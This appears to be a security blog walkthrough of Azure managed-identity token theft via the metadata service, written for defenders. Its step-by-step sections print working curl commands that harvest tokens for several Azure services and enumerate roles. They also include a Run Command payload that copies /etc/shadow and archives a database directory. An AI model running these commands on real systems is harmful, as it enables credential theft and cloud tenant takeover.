Azure Managed Identity: Exploiting IMDS for Cloud Escalation
Overview & Threat Landscape#
In modern cloud engineering, Azure Managed Identities are celebrated as the gold standard for credential management across Azure Virtual Machines, App Services, Container Apps, and Azure Kubernetes Service (AKS). By eliminating hardcoded credentials, connection strings, and long-lived service principal secrets from source code and CI/CD pipelines, managed identities allow workloads to authenticate automatically to Microsoft Entra ID (formerly Azure AD) and interact seamlessly with Azure Resource Manager (ARM), Azure Key Vault, and cloud storage.
However, replacing static secrets with automated cloud identities introduces a fundamental architectural shift: credential custody is transferred entirely to the local runtime environment.
In Azure environments, workloads retrieve OAuth2 access tokens via the Azure Instance Metadata Service (IMDS)—a REST API listening on the non-routable link-local IP address 169.254.169.254. When web applications hosted on Azure infrastructure suffer from application-layer vulnerabilities such as Server-Side Request Forgery (SSRF), Local File Inclusion (LFI), or remote code execution, the IMDS endpoint becomes an immediate escalation vector.
The exploitation of Azure Managed Identities alters the attack calculus in three critical ways:
- The "Zero-Secret" Fallacy: Organizations frequently assume that because no credentials exist in source code or environment variables, their applications present minimal risk upon compromise. In reality, any process running on an Azure VM or container that can reach
169.254.169.254can request a valid, cryptographically signed Entra ID Bearer token. - Arbitrary Resource Audience Pivoting: The IMDS token endpoint does not restrict requests to a pre-defined scope. A single compromised application can dynamically request distinct access tokens for diverse Azure services—including Azure Resource Manager (
https://management.azure.com/), Microsoft Graph (https://graph.microsoft.com/), and Azure Key Vault (https://vault.azure.net)—simply by altering theresourcequery parameter. - Catastrophic Blast Radius from Overprivileged RBAC: Due to operational convenience, developers and platform engineers routinely assign coarse-grained built-in Azure RBAC roles—such as Contributor, Owner, or Virtual Machine Contributor—at the Resource Group or Subscription level. An attacker who steals an IMDS token from an unprivileged web application inherits these sweeping management permissions, pivoting instantly from application compromise to complete cloud tenant takeover.
[!WARNING] While Microsoft implemented a mandatory
Metadata: trueHTTP header requirement to mitigate blind SSRF attacks, sophisticated attackers regularly bypass header checks using advanced SSRF injection techniques, CRLF injection, proxy abuses, or local shell access to exfiltrate full management tokens.
Vulnerability & Attack Root-Cause Analysis#
To understand why IMDS credential theft remains one of the most prevalent cloud lateral movement techniques, we must examine the protocol mechanics of the metadata service and the structure of Azure Entra ID OAuth2 tokens.
Anatomy of the IMDS Endpoint (169.254.169.254)#
The Instance Metadata Service operates over HTTP on port 80 at 169.254.169.254, a link-local address defined by RFC 3927. The endpoint is routed internally by the Azure virtual network hypervisor directly to the host platform:
GET /metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/ HTTP/1.1
Host: 169.254.169.254
Metadata: true
The metadata service verifies two conditions before issuing a token:
- Network Locality: The request must originate from the local virtual machine network interface. It is non-routable across the public internet.
- Header Enforcement: The incoming HTTP request must include the header
Metadata: true.
If both conditions are met, IMDS queries the underlying Azure Fabric and returns an OAuth2 JSON payload:
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs...",
"client_id": "00000000-0000-0000-0000-000000000000",
"expires_in": "86399",
"expires_on": "1726953600",
"ext_expires_in": "86399",
"not_before": "1726867200",
"resource": "https://management.azure.com/",
"token_type": "Bearer"
}
System-Assigned vs. User-Assigned Identities#
Azure provides two operational models for managed identities:
- System-Assigned Managed Identity: Created directly on the resource (e.g., VM or App Service). It shares the resource lifecycle and has an identical service principal in Entra ID. Querying IMDS without parameters automatically returns the token for this identity.
- User-Assigned Managed Identity: Created as an independent Azure resource with its own lifecycle, assignable to multiple VMs or containers. If a VM has multiple user-assigned identities, an attacker queries IMDS using
client_id,principal_id, ormi_res_idto switch identity contexts at will:
GET /metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/&client_id=11111111-2222-3333-4444-555555555555 HTTP/1.1
Host: 169.254.169.254
Metadata: true
Deconstructing the Stolen JWT Claims#
The returned access_token is an RFC 7519 JSON Web Token (JWT) signed by Microsoft Entra ID. Examining the claims reveals the full authorization context:
{
"aud": "https://management.azure.com/",
"iss": "https://sts.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/",
"iat": 1726867200,
"nbf": 1726867200,
"exp": 1726953600,
"aio": "E2ZgYJj/1...",
"appid": "e96c1410-6c9b-4e67-9c88-294d13a9485b",
"appidacr": "2",
"idp": "https://sts.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/",
"oid": "4b68449c-d018-4e5a-a309-c5603848b64b",
"sub": "4b68449c-d018-4e5a-a309-c5603848b64b",
"tid": "72f988bf-86f1-41af-91ab-2d7cd011db47",
"xms_mirid": "/subscriptions/sub-id/resourcegroups/prod-rg/providers/Microsoft.ManagedIdentity/userAssignedIdentities/app-identity"
}
Key claims exploited by threat actors:
tid(Tenant ID): Identifies the victim's Entra ID directory.oid(Object ID): Identifies the exact enterprise service principal in Entra ID, used to map assigned RBAC roles and directory permissions.xms_mirid: Exposes the internal ARM resource path, revealing the subscription ID, resource group name, and identity name.
[!IMPORTANT] Because Azure Entra ID access tokens are Bearer tokens, possession equals authorization. The Azure control plane performs no client-TLS binding, source-IP binding, or device compliance checks on access tokens issued to managed identities.
Exploit Architecture#
The sequence diagram below illustrates the end-to-end attack progression from initial application SSRF to full subscription compromise:
sequenceDiagram
autonumber
actor Attacker as Threat Actor
participant App as Web Application (Azure VM)
participant IMDS as Azure IMDS (169.254.169.254)
participant EntraID as Microsoft Entra ID
participant ARM as Azure Resource Manager API
participant TargetVM as Production Database VM
Note over Attacker,App: Phase 1: Exploitation
Attacker->>App: Inbound SSRF / Header Injection Attack
App->>IMDS: GET /metadata/identity/oauth2/token (Resource: management.azure.com)
IMDS->>EntraID: Request Token for Managed Identity
EntraID-->>IMDS: Return Signed JWT Bearer Token
IMDS-->>App: Return JSON Payload containing Access Token
App-->>Attacker: Exfiltrate JWT Token via SSRF Response
Note over Attacker,ARM: Phase 2: Role Enumeration
Attacker->>ARM: GET /subscriptions?api-version=2020-01-01 (Bearer Token)
ARM-->>Attacker: List Accessible Subscriptions and Resource Groups
Attacker->>ARM: GET /subscriptions/{subId}/providers/Microsoft.Authorization/roleAssignments
ARM-->>Attacker: Return Role: Contributor on Subscription Scope
Note over Attacker,TargetVM: Phase 3: Lateral Movement & Takeover
Attacker->>ARM: POST /virtualMachines/prod-db/runCommand (RunShellScript payload)
ARM->>TargetVM: Execute Command as root via Azure VM Agent
TargetVM-->>ARM: Execution Complete: Admin Access Established
ARM-->>Attacker: Return Database Credentials and System HashesAttack Path Step-by-Step#
Understanding the tactical execution path allows defenders to pinpoint the exact forensic artifacts generated during compromise.
Step 1: Querying IMDS via Application SSRF#
The attacker discovers an SSRF flaw in a document-fetching or image-rendering feature of a cloud web application. If the application allows setting custom headers or uses a cURL-based wrapper susceptible to CRLF injection, the attacker injects the Metadata: true header:
# Triggering IMDS token request from compromised host or via SSRF
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
| jq .
If attacking an Azure App Service or Azure Functions instance where IMDS is abstracted, the attacker queries the local endpoint defined by environment variables:
# App Service / Functions token exfiltration
curl -s -H "X-IDENTITY-HEADER: ${IDENTITY_HEADER}" \
"${IDENTITY_ENDPOINT}?api-version=2019-08-01&resource=https://management.azure.com/"
Step 2: Multi-Audience Token Harvesting#
Once the attacker verifies access to IMDS, they pivot across multiple resource audiences to acquire tokens for different administrative control planes:
# 1. Azure Key Vault Token (Data Plane)
KEYVAULT_TOKEN=$(curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" \
| jq -r .access_token)
## 2. Microsoft Graph Token (Identity Plane)
GRAPH_TOKEN=$(curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/" \
| jq -r .access_token)
## 3. Azure Storage Token (Data Plane)
STORAGE_TOKEN=$(curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://storage.azure.com/" \
| jq -r .access_token)
Step 3: RBAC Role & Permission Enumeration via ARM#
With the ARM token acquired, the attacker authenticates directly to the Azure Resource Manager REST API from their own infrastructure, completely outside the victim's network:
# Enumerate subscriptions accessible to the Managed Identity
curl -s -H "Authorization: Bearer ${ARM_TOKEN}" \
"https://management.azure.com/subscriptions?api-version=2020-01-01" \
| jq -r '.value[] | {id: .subscriptionId, name: .displayName}'
Next, the attacker queries role assignments to evaluate permissions granted to the identity's oid:
# Query role assignments for the identity
IDENTITY_OID="4b68449c-d018-4e5a-a309-c5603848b64b"
SUBSCRIPTION_ID="sub-id-xxxx-xxxx"
curl -s -H "Authorization: Bearer ${ARM_TOKEN}" \
"https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01&\$filter=principalId%20eq%20'${IDENTITY_OID}'" \
| jq .
Step 4: Lateral Movement via Azure VM Run Command#
If the identity holds the built-in Contributor, Owner, or Virtual Machine Contributor role, the attacker possesses the Microsoft.Compute/virtualMachines/runCommand/action permission. This permission allows running arbitrary bash or PowerShell scripts directly on any VM in the subscription via the Azure Linux Agent (waagent), completely bypassing firewalls, Network Security Groups (NSGs), and SSH access controls:
# Executing arbitrary root shell script on a production database VM
curl -s -X POST \
-H "Authorization: Bearer ${ARM_TOKEN}" \
-H "Content-Type: application/json" \
"https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/prod-rg/providers/Microsoft.Compute/virtualMachines/prod-db/runCommand?api-version=2022-08-01" \
-d '{
"commandId": "RunShellScript",
"script": [
"cat /etc/shadow > /tmp/exfil.txt",
"tar -czf /tmp/backup.tar.gz /var/lib/postgresql/data"
]
}'
Alternatively, if the identity holds the User Access Administrator or Owner role, the attacker grants the Owner role to an external service principal under their control (Microsoft.Authorization/roleAssignments/write), securing persistent backdoors into the cloud environment.
Fast Cyber Defense Morning Takeaways#
The threat model of Azure Managed Identity exploitation highlights foundational weaknesses in contemporary cloud architecture:
- Link-Local Services Require Host-Level Isolation: Exposing
169.254.169.254indiscriminately to all user accounts and container namespaces on an Azure VM is an architectural anti-pattern. Workloads that do not require cloud API access must be network-isolated from the metadata IP. - Coarse-Grained RBAC Inverts Edge Security: Granting
Contributorto a web application's identity invalidates network segmentation. The moment an edge app is compromised, its cloud permissions become the attacker's permissions. - Token Exportability Is an Architectural Blind Spot: Because Azure Entra ID tokens issued to managed identities are un-bound Bearer tokens, exfiltrated tokens can be replayed from any IP address globally until expiration.
Bridge to Evening Defense Guide#
In tonight's companion defensive engineering guide, we will implement an enterprise blue team defense matrix:
- Host-Level IMDS Blocking with iptables & eBPF: Restricting access to
169.254.169.254strictly to authorized system users (e.g.,waagent) while dropping traffic from web application processes (www-data,nobody). - Custom Least-Privilege Azure RBAC Architecture: Designing narrow, custom role definitions that strip
runCommand,roleAssignments/write, and data plane actions from workload identities. - Microsoft Sentinel & Azure Activity Log Detection Queries: Writing KQL detection queries to flag anomalous IMDS token issuances, multi-audience token spikes, and suspicious
runCommandAPI calls originating from non-administrative IP ranges. - Incident Response & Token Revocation Playbook: Step-by-step procedures to invalidate active managed identity tokens, disable compromised service principals, and audit Azure Activity logs.
Authoritative References#
- Microsoft Learn: Azure Instance Metadata Service (IMDS) for Identity — Microsoft Documentation
- Microsoft Security Response Center (MSRC): Best practices for securing Azure Managed Identities — MSRC Blog
- MITRE ATT&CK Framework: Technique T1552.005: Unsecured Credentials - Cloud Instance Metadata API — MITRE ATT&CK
- Cloud Security Alliance (CSA): Top Threats to Cloud Computing: Egregious Eleven Deep Dive — Cloud Security Alliance
Comments
Post a Comment